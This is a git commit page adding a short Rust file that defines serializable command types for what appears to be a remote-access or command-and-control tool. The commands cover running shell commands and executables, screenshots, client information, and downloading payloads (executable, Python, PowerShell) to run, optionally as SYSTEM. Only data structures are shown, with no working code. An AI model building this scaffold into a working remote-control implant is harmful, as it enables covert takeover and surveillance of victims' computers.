init: basic foundation
This commit is contained in:
commit
df22b0bd5e
10 changed files with 231 additions and 0 deletions
28
src/lib.rs
Normal file
28
src/lib.rs
Normal file
|
|
@ -0,0 +1,28 @@
|
|||
use serde::{Deserialize, Serialize};
|
||||
|
||||
#[derive(Deserialize, Serialize)]
|
||||
pub enum PayloadType {
|
||||
Executable,
|
||||
Python,
|
||||
Powershell,
|
||||
}
|
||||
|
||||
#[derive(Deserialize, Serialize)]
|
||||
pub struct DnxParams<'a> {
|
||||
pub url: &'a str,
|
||||
pub name: &'a str,
|
||||
pub args: &'a str,
|
||||
pub run_as_system: bool,
|
||||
pub file_type: PayloadType,
|
||||
}
|
||||
|
||||
#[derive(Deserialize, Serialize)]
|
||||
pub enum Command<'a> {
|
||||
RunCMD { command: &'a str },
|
||||
URunCMD { command: &'a str },
|
||||
RunExe { path: &'a str, args: &'a str },
|
||||
URunExe { path: &'a str, args: &'a str },
|
||||
ClientInfo,
|
||||
Dnx { params: DnxParams<'a> },
|
||||
Screenshot,
|
||||
}
|
||||
Loading…
Add table
Add a link
Reference in a new issue